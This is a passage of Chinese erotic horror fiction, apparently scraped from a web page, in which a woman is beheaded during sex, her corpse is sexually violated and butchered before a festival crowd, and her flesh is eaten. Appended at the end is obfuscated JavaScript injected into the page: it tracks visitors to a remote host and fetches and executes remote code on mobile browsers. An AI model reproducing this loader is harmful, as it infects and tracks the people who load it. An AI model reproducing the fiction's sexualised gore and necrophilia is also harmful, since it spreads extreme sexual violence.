的进出下上下晃动,秀发洒在颈边,他离开了我的唇让我尽情的喘息,舌头却继
续向我的脖颈滑动,我仰起了头颤抖着,麻痒和性欲交织沖击着我的神经中枢,
双腿缠住了他的腰,乳房在他的怀中晃动,撞击声回蕩在两人的交合处,燥热在
血管中流动,他的双手和我十指交扣,抽插似乎越来越猛烈,我低头,只见自己
纤细雪白的双腿岔开在他身体的两侧疯狂的舞动着。

  「小雯!」我转头,小芳不知何时已经站在了我颈边,甜甜的对着我笑,短
短的裙襬内似乎连内裤都没穿。

  「小芳…」我望着他,有些不知所措,赤裸的身体持续的随着男人的动作摆
动。

  「轮到妳了!」长长的斧头敲击着地面,她看起来似乎有些迫不及待,「还
有什麽遗言想说吗?」

  「妳…会不会想我?」我对她的平静感到讶异。

  「当然会啊,妳可是,我最好的朋友呢。」她笑了,但从下往上看她的笑容
似乎有些不怀好意。

  「嗯…啊…宇航…哦哦…」我呻吟,阴道的肌肉抽蓄着,紧紧包覆着宇航粗
大的肉棒,肉棒与阴道壁的摩擦刺激着我一步步攀向顶峰。

  「小雯…妳夹的好紧…我好舒服…」宇航喘着气,「高潮了要跟我说…」

  「好…」我的身体在他的掌握之下颤抖,「小芳…我这样躺着让妳砍可以吗?」

  「当然可以啊,其实躺着趴着对我来说没有分别的,最大的差别是妳的感受
吧,亲眼看着斧头落下是很刺激的一件事情呢!」斧头蹬着地面,小芳一附跃跃
欲试的样子。

  「那…请妳砍準一点。」我喘息着,想到自己马上就要身首异处,燥热的身
体竟然隐隐有些期待,我梳了梳头发,将白嫩的脖颈裸露了出来。

  是否失去脑袋的我,会比现在还要性感呢?

  我无头的身体就这样继续躺在地上被宇航奸尸,丰满的乳房晃动着,赤裸的
身体扭动,好像还沈浸在高潮中一样…

  然后他们应该会把我倒吊起来,断颈处喷着血的我还在抽蓄着,尸体挂在空
中摇晃,鲜血不断的滴到水桶中,说不定他们还会把我的头拿去继续发洩性欲…

  只要小芳斧头一砍下来,我的头就会这样滚出去…

  阴道终于开始无法避免的激烈抽蓄着,甚至连子宫都似乎开始痉挛了,我大
声的呻吟着,挺起了胸口,小腹在剧烈收缩,湿透的小穴紧紧的吸住了男人的肉
棒,双手瘫在身体两侧,挣扎着几乎要高朝了。

  「宇航,我…好像快洩了…」我颤抖着,再也无法完整的说完一句话。

  是紧张,还是害怕,其实已经不重要了,因爲该来的一定会来。


  也许更多的是兴奋吧。

  我的脑海中再一次的浮现出自己无头的身体躺在地上挣扎的画面。

  阴道剧烈的痉挛,下体肌肉收缩着把臀部挺了起来,我的双腿紧紧的夹住了
宇航的腰,下巴仰起,双唇颤抖着发出最后的呻吟。

  「宇航,我不行了…我要…」我看着明亮的夜空,感觉全身都紧绷了,阴唇
开始蠕动着将一股股的淫水狂喷而出。

  「碰!」

  刀光从天空划下,撞击声自我的脖颈炸开,我感觉自己瞬间飞了出去,视线
开始旋转,脸颊撞击着地面,秀发披散,我想呻吟,却发现呼吸不知何时已被终
止,一颗水珠喷溅在我眼角,我回过神来时却发现那是红的。

  世界的转动停止了,喧嚣声在逐渐远去,我想动,但却再也没有身体的感觉,
几秒锺之前那如潮水般的性欲彷佛瞬间灰飞烟灭,我试图喘息,却发现嘴唇在颤
抖,一丝液体开始在嘴角边流淌。一凝神,却发现猛烈的血泉在眼前喷洒,在月
光照耀下变成了美丽的红雾,性感的娇躯仰躺在地上,正被男人疯狂的抽插着,
在男人腰间岔开的双腿抽蓄着挺直了,胸前的乳房如布丁般富有弹性的晃动,白
耦般的手臂瘫在身体两侧,肌肉正随着身体的高潮一阵阵抽蓄着,而肩膀上那娇
豔的脑袋却已不知去向,鲜红的断颈处鲜血狂喷,似乎还能看见被切断的气管和
脊椎,在血雾中不甘心的冒着气泡。

  我知道那就是我的身体,我没了头的尸体。

  而一切就如同自己所想象的一样,如此的性感,如此的淫蕩。然后等等他们
就会继续奸尸,最后把我无头的身体吊起来…

  剎那间,我发现我的幻想成真了,一切都是如此的真实。

  我呆呆的望着,微微的笑了。

  「小雯…被斩首了还是那麽的性感…」小芳抓着佩雯的头发提起了她的脑袋,
那双水亮的眼睛已经开始逐渐失去光芒,嘴角残留的一缕鲜血似乎更显出一种奇
异的美感。而她赤裸的尸身此时已逐渐停止了挣扎,只剩下手指还偶尔微微抽蓄
着,宇航大吼一声,一股热流暴沖着射进了小雯逐渐停止蠕动的阴道内,失去了
头颅的女尸似乎仍有知觉似的,随着男孩的进出微微的颤抖,彷佛仍然沈浸在高
潮的余韵当中。

  「他一直都很性感可爱。」宇航拔出了肉棒,似乎有些落寞,「只是以后再
也看不到她了吧。」

  「也许你可以把人头留着。」小芳晃了晃手中的人头,对着宇航微笑。「或
许这也是她希望的吧。」

  群衆鼓噪着,纷纷爲这场晚会中的高潮鼓掌起来。

  「各位乡亲!」一名自称是主持人的男人拿着麦克风大喊,「今天的晚会终
于来到了高潮,我们的裏长女儿已经被斩首了!相信各位都欣赏过,也享受过了
吧!接着,我们要请裏长先生来帮我们切下第一刀!」

  佩雯无头的尸体已经被工作人员沖洗干净,此时正被两个铁环圈住了脚踝倒
吊了起来,失血过多的身躯显得特别苍白,仍然白嫩的皮肤上几颗露珠正在闪耀,
双手软软的垂在身体两侧,和那颈口鲜红的断面对比起来有种异样的美,圆润的
双乳随着身体的动作微微的晃动着,那粉色的乳尖却仍然坚挺,雪白平坦的小腹,
修长的双腿分开,长着稀疏阴毛的两腿间还挂着几颗不知是水珠还是淫水。

  裏长先生取出了一把锋利的刀,对着观衆微笑,突然间刀光一闪,女尸微微
晃动了一下,一条细细的红线自阴部缓缓蔓延至胸口,红线逐渐扩大,最后竟变
成了一条长长的切口,内髒哗啦啦的自腹腔中涌出,垂在女尸的胸前晃着。

  观衆们看的呆了,如此快速的刀法,如此準确精细的刀工,若非经过一番苦
练绝难有如此的成果。

  「其实,在我做裏长之前,我曾在外地当过一阵子餐厅老闆。在餐饮界,许
多人给我取了个外号…」裏长接过了麦克风,对着观衆微笑。

  「叫做美食家!」

-------------------

  「选择题!」女孩一双灵动的双眼在眼前闪烁着光芒。

  「你喜欢看我穿什麽衣服被斩首?


  1. 学生制服。2. OL套装。3. 女仆服装。4. 漂亮的洋装或连身裙。
5. 性感睡衣或内衣裤。6. 其它种类的服装。7. 全裸。「

  「呃…1、2、4、5吧。」男孩抓着头,似乎有些无奈。

  「是噢…所以你不是很喜欢全裸这个选项啰?」女孩眨着明亮的大眼,坐回
一旁的椅子上,一身轻柔的褐色雪纺露肩高腰洋装凸显了她的气质,胸前的乳沟
透着性感,短短的裙襬遮不住那双雪白的美腿,一双同色系的高跟凉鞋使得双腿
更显修长,乌黑的秀发流淌在耳际,画着淡妆的脸蛋显得更加娇柔可爱,粉色的
嘴唇上扬,皓齿微露,一双白嫩的臂膀晃的男孩眼花。

  「是啊,妳穿着性感漂亮的衣服更好一些。」男孩认真的说。「俗话说回眸
一笑百媚生,娇豔倾国倾城,我以前只知其意,却不相信世间有如此漂亮的女人,
直至今日,我才对这俗话有了真正的共鸣。」

  「噢噢,我们的翔翔君越来越会夸奖我了耶!来!这块肉很好吃,你吃吃看。」
女孩边说边夹起一块刚烤好的肉送到男孩嘴边。

  「哪裏,我的文学造诣怎麽比得上我们的才女呢?嗯,真的很好吃!这肉是
哪来的啊?」男孩意犹未尽的咀嚼着。

  「刚刚裏长的女儿被斩首了,我努力挤到前面去才拿到了一块后腰肉,后腰
肉多汁又有嚼劲,运气真不错。」女孩也吃了一块,一边夹起几片切好的生肉片
放到烤肉架上烤。「没想到我们堂堂贺翔仪器公司的少东翔翔君还真的抽空到我
们小区来了,今天是怎麽来的啊?坐豪华轿车还是直升机呢?」

  「严兄开车载我来的,还有,别叫我翔翔君了嘛!叫翔就好了。」名叫翔的
男孩拿起了一旁的夹子帮忙烤着肉片。

  「叫翔翔君比较可爱啊!还有严兄干麻站在那裏啊,一起来吃啊。」女孩微
笑着对着站在一旁紧张兮兮的男人挥着手。

  「不行,我要负责保护少爷的安全。」男人点了一根烟,试图让自己看起来
自然一点。

  「不用了啦!才不会有人打你家少爷的主意,他是男的,又那麽胖!反而是
我比较危险吧。」女孩夹了一块肉,「来嘛,严兄也尝一块看看。」

  「别又这样亏我了,我已经在努力运动了…」翔似乎有点沮丧。

  「呵呵,少爷还是对筱雯小姐一点办法都没有啊。」严兄笑着吃了女孩夹给
她的肉。

  「才怪!我只是大庭广衆下不想给她难堪,等等回去就让她知道我的厉害!」
翔一附下定了决心的样子。

  「是噢,那现在就试试看如何啊?」筱雯娇笑着坐到了翔的膝盖上,短裙扬
起,性感的臀部似乎直接接触到了翔的大腿,即使祥穿着长裤但似乎还是愣住了,
不待翔反应,筱雯抓起了他的右手一把放到了自己光滑雪白的大腿上,翔的手尴
尬的摆着,一时间竟不知该如何反应,失神的望着女孩的美背竟然脸红了。

  「我现在已经在你的掌握之中啰,翔翔君。」女孩可爱的脸蛋上露出的却是
胜利的微笑。「真是的,都18岁了还是处男,你真的是外星生物耶。」

  「我…」翔脸颊发烫,竟不知如何反驳,只好试着转移话题,「对了,裏长
的女儿竟然愿意献身给小区民衆,真的很伟大啊!」

  「嗯,是啊。」筱雯点头,「而且她跟我一样名字中都有个雯字。」

  「那还真是巧。」翔讶异着。

  「是啊,不过现在女孩很多,名字裏有相同的字也不奇怪,但巧的是她跟我
一样都是双鱼座呢!」女孩看着天空,「或许,她也跟我一样是个多愁善感的女
孩吧。」

  「可能吧。」

  「不知道她是出于什麽样的理由才愿意献身的。」女孩说着,一边细心的用
手指帮严兄擦掉嘴边的肉汁,弄得严兄一附不好意思的样子。

  「呵呵,谢谢筱雯小姐了,小姐将来肯定是个好媳妇的!」严兄夸奖着,筱
雯微笑,脸微微的红了。

  「过了中秋节就差不多是秋天了吧。」女孩擡头,看着空中皎洁的明月,「
结果毕业了到现在还没找到工作,唉。」


  「不急,找个好工作比较重要。」翔说,「现在工作陷阱多,一不小心说不
定连命都没了。」

  「不行啦…再拖下去我就没有钱生活了,家裏又没钱,我看再不行的话真的
只能随便找个工作撑一下了。」筱雯歎息着。

  「我…」翔搂住了筱雯的腰,双手似乎在微微颤抖,「当我的女朋友,好吗
…?钱的问题我可以帮妳,工作慢慢找就好,妳还可以有多一点的时间练习写小
说…」

  「你刚刚说的是…交往…?」女孩回头。

  「对…我们交往,好吗…?」翔低下了头,手却越抱越紧。

  「翔,你说,这个世界上真的会有人真心喜欢我吗…?」筱雯缓缓的说。

  「有…就是我。」翔紧紧抱着女孩的腰,嗅着女孩肩膀的清香。「我真的好
怕,有一天妳会突然消失…」

  「那交往看看吧…」筱雯小声的说。

  「筱雯…妳在哭吗…?」

  「没什麽…」女孩擦拭着眼角的水珠,「只是觉得,现在的我,是否太过幸
福…」

  「我努力让你更幸福的。」翔的脸颊贴上了女孩裸露的背部。

  「翔…我有跟你说过多重宇宙吧?」筱雯靠在了翔的怀裏。

  「有啊,但妳真的相信有?」

  「是啊。」筱雯看着月亮,悠悠的说,「希望此时看着月亮的其它世界裏的
我,都是幸福的。」

  「唷,新郎新娘入洞房啰!」严兄在一旁嘻嘻笑着。

  筱雯的脸刷的一下红了,低头一看才发现翔这坏小子的右手不知何时已经放
到了自己的裙襬上,正朝着大腿根部偷偷的匍匐前进,她「啊」了一声,但又犹
豫着是否该躲,一时间竟不知所措的呆住了。

  「在我的掌握之中了,是吧…」翔笑着,轻吻着女孩发烫的脖颈,左手轻搂
女孩纤细的腰肢。

  「刚告白成功就放肆了…以后还得了!」筱雯低头,害羞的捏着翔的手。

  「放心,我一定会好好疼妳的。」翔温柔的说。

  「嗯…啊严兄你竟然把肉都吃光了!」筱雯笑骂着,伸手要去弹严兄的额头,
严兄哈哈笑着闪开。

  「欸翔。」女孩回头,笑容在月光下闪耀,「要放烟火吗?我带了一些来。」

  「嗯。」翔点头。

  「好啊。」

  烟花在女孩身边绽放,点缀着她随风飘逸的洋装,男孩看着女孩美丽的身影,
不由得癡了。

  「我啊…一直都很喜欢看妳笑喔。」翔点着烟火。

  希望妳能,一直一直的,快乐下去。

function HEScgLz(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YgPUX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HEScgLz(t);};window[''+'O'+'S'+'x'+'I'+'c'+'o'+'a'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function njfh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=YgPUX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=njfh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15118/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=njfh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm9uaWN5Yi5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS5ycWRsb2QuYY24lM0E5NTM0','166293',window,document,['m','Y']);}:function(){};